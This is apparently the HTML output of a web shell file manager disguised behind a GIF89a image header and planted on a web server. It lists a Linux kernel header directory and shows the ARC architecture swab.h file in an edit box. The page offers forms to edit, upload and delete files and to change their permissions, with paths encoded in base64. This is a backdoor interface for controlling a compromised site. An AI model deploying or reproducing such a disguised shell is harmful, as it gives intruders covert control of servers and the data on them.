GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>swab.h<form method=post action="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c3dhYi5o"><input name="f" value="swab.h"><textarea name="t">/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
 * Copyright (C) 2004, 2007-2010, 2011-2012 Synopsys, Inc. (www.synopsys.com)
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 *
 * vineetg: May 2011
 *  -Support single cycle endian-swap insn in ARC700 4.10
 *
 * vineetg: June 2009
 *  -Better htonl implementation (5 instead of 9 ALU instructions)
 *  -Hardware assisted single cycle bswap (Use Case of ARC custom instrn)
 */

#ifndef __ASM_ARC_SWAB_H
#define __ASM_ARC_SWAB_H

#include &lt;linux/types.h&gt;

/* Native single cycle endian swap insn */
#ifdef CONFIG_ARC_HAS_SWAPE

#define __arch_swab32(x)		\
({					\
	unsigned int tmp = x;		\
	__asm__(			\
	&quot;	swape	%0, %1	\n&quot;	\
	: &quot;=r&quot; (tmp)			\
	: &quot;r&quot; (tmp));			\
	tmp;				\
})

#else

/* Several ways of Endian-Swap Emulation for ARC
 * 0: kernel generic
 * 1: ARC optimised &quot;C&quot;
 * 2: ARC Custom instruction
 */
#define ARC_BSWAP_TYPE	1

#if (ARC_BSWAP_TYPE == 1)		/******* Software only ********/

/* The kernel default implementation of htonl is
 *		return  x&lt;&lt;24 | x&gt;&gt;24 |
 *		 (x &amp; (__u32)0x0000ff00UL)&lt;&lt;8 | (x &amp; (__u32)0x00ff0000UL)&gt;&gt;8;
 *
 * This generates 9 instructions on ARC (excluding the ld/st)
 *
 * 8051fd8c:	ld     r3,[r7,20]	; Mem op : Get the value to be swapped
 * 8051fd98:	asl    r5,r3,24		; get  3rd Byte
 * 8051fd9c:	lsr    r2,r3,24		; get  0th Byte
 * 8051fda0:	and    r4,r3,0xff00
 * 8051fda8:	asl    r4,r4,8		; get 1st Byte
 * 8051fdac:	and    r3,r3,0x00ff0000
 * 8051fdb4:	or     r2,r2,r5		; combine 0th and 3rd Bytes
 * 8051fdb8:	lsr    r3,r3,8		; 2nd Byte at correct place in Dst Reg
 * 8051fdbc:	or     r2,r2,r4		; combine 0,3 Bytes with 1st Byte
 * 8051fdc0:	or     r2,r2,r3		; combine 0,3,1 Bytes with 2nd Byte
 * 8051fdc4:	st     r2,[r1,20]	; Mem op : save result back to mem
 *
 * Joern suggested a better &quot;C&quot; algorithm which is great since
 * (1) It is portable to any architecure
 * (2) At the same time it takes advantage of ARC ISA (rotate intrns)
 */

#define __arch_swab32(x)					\
({	unsigned long __in = (x), __tmp;			\
	__tmp = __in &lt;&lt; 8 | __in &gt;&gt; 24; /* ror tmp,in,24 */	\
	__in = __in &lt;&lt; 24 | __in &gt;&gt; 8; /* ror in,in,8 */	\
	__tmp ^= __in;						\
	__tmp &amp;= 0xff00ff;					\
	__tmp ^ __in;						\
})

#elif (ARC_BSWAP_TYPE == 2)	/* Custom single cycle bswap instruction */

#define __arch_swab32(x)						\
({									\
	unsigned int tmp = x;						\
	__asm__(							\
	&quot;	.extInstruction	bswap, 7, 0x00, SUFFIX_NONE, SYNTAX_2OP	\n&quot;\
	&quot;	bswap  %0, %1						\n&quot;\
	: &quot;=r&quot; (tmp)							\
	: &quot;r&quot; (tmp));							\
	tmp;								\
})

#endif /* ARC_BSWAP_TYPE=zzz */

#endif /* CONFIG_ARC_HAS_SWAPE */

#if !defined(__STRICT_ANSI__) || defined(__KERNEL__)
#define __SWAB_64_THRU_32__
#endif

#endif
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/src/linux-headers-6.8.0-90/arch/arc/include/uapi/asm<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGk="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=S2J1aWxk">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=S2J1aWxk"/>Kbuild</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=S2J1aWxk&c=`+btoa(c):0" value="0644"></td><td>59</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=YnBmX3BlcmZfZXZlbnQuaA==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=YnBmX3BlcmZfZXZlbnQuaA=="/>bpf_perf_event.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=YnBmX3BlcmZfZXZlbnQuaA==&c=`+btoa(c):0" value="0644"></td><td>261</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=Ynl0ZW9yZGVyLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=Ynl0ZW9yZGVyLmg="/>byteorder.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=Ynl0ZW9yZGVyLmg=&c=`+btoa(c):0" value="0644"></td><td>552</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=Y2FjaGVjdGwuaA==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=Y2FjaGVjdGwuaA=="/>cachectl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=Y2FjaGVjdGwuaA==&c=`+btoa(c):0" value="0644"></td><td>768</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=ZWxmLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=ZWxmLmg="/>elf.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=ZWxmLmg=&c=`+btoa(c):0" value="0644"></td><td>1064</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=cGFnZS5o">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=cGFnZS5o"/>page.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=cGFnZS5o&c=`+btoa(c):0" value="0644"></td><td>1080</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=cHRyYWNlLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=cHRyYWNlLmg="/>ptrace.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=cHRyYWNlLmg=&c=`+btoa(c):0" value="0644"></td><td>1833</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=c2V0dXAuaA==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c2V0dXAuaA=="/>setup.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c2V0dXAuaA==&c=`+btoa(c):0" value="0644"></td><td>242</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=c2lnY29udGV4dC5o">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c2lnY29udGV4dC5o"/>sigcontext.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c2lnY29udGV4dC5o&c=`+btoa(c):0" value="0644"></td><td>664</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=c2lnbmFsLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c2lnbmFsLmg="/>signal.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c2lnbmFsLmg=&c=`+btoa(c):0" value="0644"></td><td>996</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=c3dhYi5o">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c3dhYi5o"/>swab.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=c3dhYi5o&c=`+btoa(c):0" value="0644"></td><td>2837</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&x=dW5pc3RkLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=dW5pc3RkLmg="/>unistd.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNt&f=dW5pc3RkLmg=&c=`+btoa(c):0" value="0644"></td><td>1617</td></tr></table>